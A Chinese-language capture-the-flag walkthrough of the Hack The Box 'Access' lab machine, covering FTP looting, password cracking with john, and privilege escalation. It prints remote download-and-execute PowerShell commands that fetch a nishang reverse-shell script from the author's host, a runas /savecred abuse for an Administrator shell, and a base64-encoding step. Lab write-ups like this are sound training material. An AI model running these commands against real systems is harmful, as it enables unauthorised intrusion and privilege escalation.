Hack The Box是什么

小編給大家分享一下Hack The Box是什么，相信大部分人都還不怎么了解，因此分享這篇文章給大家參考一下，希望大家閱讀完這篇文章后大有收獲，下面讓我們一起去了解一下吧！

Hack The Box是一個CTF挑戰(zhàn)靶機平臺，在線滲透測試平臺。它能幫助你提升滲透測試技能和黑盒測試技能，它包含了一些不斷更新的挑戰(zhàn)，其中有模擬真實世界場景，也有傾向于CTF風(fēng)格的挑戰(zhàn)。

https://www.hackthebox.eu/

平臺上有很多靶機，從易到難，黑客每入侵一臺機器都會獲得相應(yīng)積分，通過積分排名設(shè)有名人堂。今天要實驗的是靶機Access。

一、獲取普通用戶權(quán)限

首先我們用nmap探測下靶機的信息。
nmap -sC -sV -T5 10.10.10.98
可以看到靶機開放了21，23，80端口。telnet后面有一個？說明nmap也不確定是否為telnet。這里我用msf來探測下FTP是否允許 匿名登陸，使用msf的/auxiliary/scanner/ftp/anonymous模塊。

FTP是運行匿名登陸的，那我們進行遠(yuǎn)程登陸FTP看看有什么東西。
這里我用wget遞歸下載FTP文件。

wget -m ftp://anonymous:anonymous@10.10.10.98

發(fā)現(xiàn)報錯 無法啟動PASV傳輸，那我們加個 --no-passive 使用FTP的被動模式。

wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98

下載成功！同樣我們試下Telnet是否能匿名登陸。

不存在匿名登陸，但是我也確定了23這個端口的是telnet，接下來在訪問下80端口。

我們download下這個圖片看看這個圖片是否存在隱藏的信息。

先用exiftool查看是否存在圖片的其他信息。

好像并沒有什么額外的信息，再用strings查找下圖片的二進制里面是否有字符串

strings out.jpg

也沒有發(fā)現(xiàn)什么額外的信息，那我們接下來用gobuster進行目錄的爆破。

gobuster -u http://10.10.10.98 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

經(jīng)過了挺久的時間，沒爆破出什么有用的信息。我們?nèi)タ聪聞倓倧腇TP下載來的文件，先解壓Engineer目錄下的Access Control.Zip文件。

發(fā)生了一個錯誤，還7z來進行解壓。

7z x Access\ Control.zip

發(fā)現(xiàn)ZIP是需要密碼的，隨便輸入個密碼報錯，我們用7z 的l命令下的slt命令。
7z l -slt Access\ Control.zip

參數(shù)說明：

l：用于顯示壓縮文件的信息

Slt：屬于l下的子命令用來顯示壓縮文件的技術(shù)信息

壓縮文件使用AES-256 Deflate進行加密的，我們把密碼的HASH提取出來到時候破解用。

zip2john Access\ Control.zip > Access\ Control.hash

我們在看下另一個文件。

是一個access的數(shù)據(jù)庫文件，里面應(yīng)該會出現(xiàn)用于解壓壓縮文件的密碼。你可以用工具打開查看里面的數(shù)據(jù)一個一個找找到需要的密碼。

還有一個更快捷的方法，因為密碼最低就是8位的，我們用過strings方法把mdb用二進制文件的形式打開，然后只輸出內(nèi)容大于等于8的內(nèi)容，在把這些內(nèi)容輸出成一個wordlist用來破解壓縮文件。
strings -n 8 backup.mdb | sort -u > ../Engineer/wordlist
strings輸出的內(nèi)容通過sort的-u參數(shù)去重，然后在輸出到文件里面。

然后我們利用john開始破解

破解成功，這里可能不好找到密碼可以用這條命令顯示破解出的密碼。

john Access\ Control.hash --show

密碼: access4u@security

那接下來我們?nèi)ソ鈮簤嚎s文件。

解壓成功?。。?/p>

我們用file看下這個.pst是什么文件

是一個outlook的個人文件夾。我們用readpst來讀取下，然后目錄下面會多出一個Access Control.mbox文件。

我們用

less Access Control.mbox

可以看到security的密碼：4Cc3ssC0ntr0ller。我們用獲得憑證去登陸telnet。

Security：4Cc3ssC0ntr0ller

登陸成功！然后CD到桌面查看user.txt即可得到user的flag。

二、獲取管理員權(quán)限

接下來就是怎么得到管理員權(quán)限，測試下powershell是否能正常工作。

powershell正常的，那我們本地搭建一個簡易的HTTP服務(wù)器放上我們的powershell反彈shell腳本，讓靶機進行遠(yuǎn)程下載執(zhí)行反彈一個shell。

這里用nishang 這是一個基于Powershell的攻擊框架，項目地址: https://github.com/samratashok/nishang。

我們新建一個 www目錄 然后把nishang里面需要用的腳本copy進去。
cp ~/HTB/Access/nishang/Shells/Invoke-PowerShellTcp.ps1 ~/HTB/Access/www/nishang.ps1

然后vi下編輯這個nishang.ps1，在最底下加上這行命令

Invoke-PowerShellTcp -Reverse -IPAddress 你的IP地址 -Port 監(jiān)聽端口

然后我們用nc 監(jiān)聽9001

接著用python開啟HTTP服務(wù)器

然后在目標(biāo)靶機telnet上執(zhí)行這段代碼，就是遠(yuǎn)程執(zhí)行powershell腳本。

powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.13.147:8000/nishang.ps1')"

之后就會反彈一個shell

接下來我們在上傳一個腳本用來檢測Windows系統(tǒng)以提升權(quán)限。

JAWS：https://github.com/411Hall/JAWS

我們在剛剛反彈的shell中去執(zhí)行這個腳本，來檢測目標(biāo)系統(tǒng)的信息。

IEX(New-Object Net.WebClient).downloadString('http:// 10.10.13.147:8000/jaws-enum.ps1')

執(zhí)行完成后會返回一系列信息，然后在這里查找有關(guān)信息，這里我只截取憑證部分。

上面是電腦中存儲的憑證。當(dāng)然你也可以用cmdkey /list 也會出現(xiàn)相關(guān)信息。

在查找的過程中我在公共用戶的目錄里面找到一個快捷連接。

百度下具體信息。

用type查看下內(nèi)容，發(fā)現(xiàn)一些關(guān)鍵信息

Runas并且?guī)в?savecred ，Runas的介紹：https://blog.csdn.net/nzjdsds/article/details/88312910。
這個就可以成為我們的利用點，但是用type獲得信息雜亂無章，我們需用另一種方法來獲得更為詳細(xì)的整潔的輸出。這里我們用script腳本的創(chuàng)建快捷方式實現(xiàn)。

$WScript = New-Object -ComObject Wscript.Shell

$shortcut = Get-ChildItem *.lnk

$Wscript.CreateShortcut($shortcut)

這里WScript用來綁定Wscript.Shell的，然后Get-ChildItem *.lnk 就是跟dir差不多找出后綴為.lnk文件（效果圖如下）。

然后我們調(diào)用Wscript的CreateShortcut函數(shù)創(chuàng)建快捷方式來查看里面的lnk里面的詳細(xì)信息。

這里我要說一下就是這里創(chuàng)建的快捷方式是存在內(nèi)存里面的，在調(diào)用這個函數(shù)的SAVE函數(shù)之前，這個快捷方式是存在內(nèi)存里面的，我們只是需要這個ZKAccess3.5Security System.lnk里面的詳細(xì)工整的信息只是通過這個方式查看而已。

在這里面我們可以很清楚的看到runas 并且?guī)в衧avecred 參數(shù)。所以這邊我們runas的話可以不需要用戶的憑證。

但是runas之后沒有任何報錯，但是命令也沒有執(zhí)行成功，應(yīng)該是編碼的問題。接下來我們主要就是在這個shell中在runas反彈一個管理員權(quán)限的shell。

我們先在自己的Kali中監(jiān)聽9002，然后把我們之前用于反彈的nishang.ps1重新復(fù)制一份為nishang2.ps1并編輯下把nishang2.ps1把監(jiān)聽的端口改為9002

【這里由于靶機不是一天之內(nèi)完成并寫好文章的，所以自己的IP地址后來變成10.10.12.114】
runas /user:ACCESS\Administrator /savecred "powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.12.114:8000/nishang2.ps1')""

這里我換了一種格式寫，發(fā)現(xiàn)我的python HTTP服務(wù)器出現(xiàn)了響應(yīng)，但是9002并沒有返回shell。在這里猜測可能是編碼的問題，windows和linux采用的編碼不一樣，所以我們的命令需要轉(zhuǎn)換成windows能夠識別的編碼，這里我們用iconv和base64。

這里轉(zhuǎn)碼要用UTF-16LE。

echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.12.114:8000/nishang2.ps1')" | iconv --to-code UTF-16LE | base64 -w 0

輸出內(nèi)容：

然后我們執(zhí)行下：

然后發(fā)現(xiàn)9002端口得到shell說明執(zhí)行成功

到root的flag。

以上是“Hack The Box是什么”這篇文章的所有內(nèi)容，感謝各位的閱讀！相信大家都有了一定的了解，希望分享的內(nèi)容對大家有所幫助，如果還想學(xué)習(xí)更多知識，歡迎關(guān)注億速云行業(yè)資訊頻道！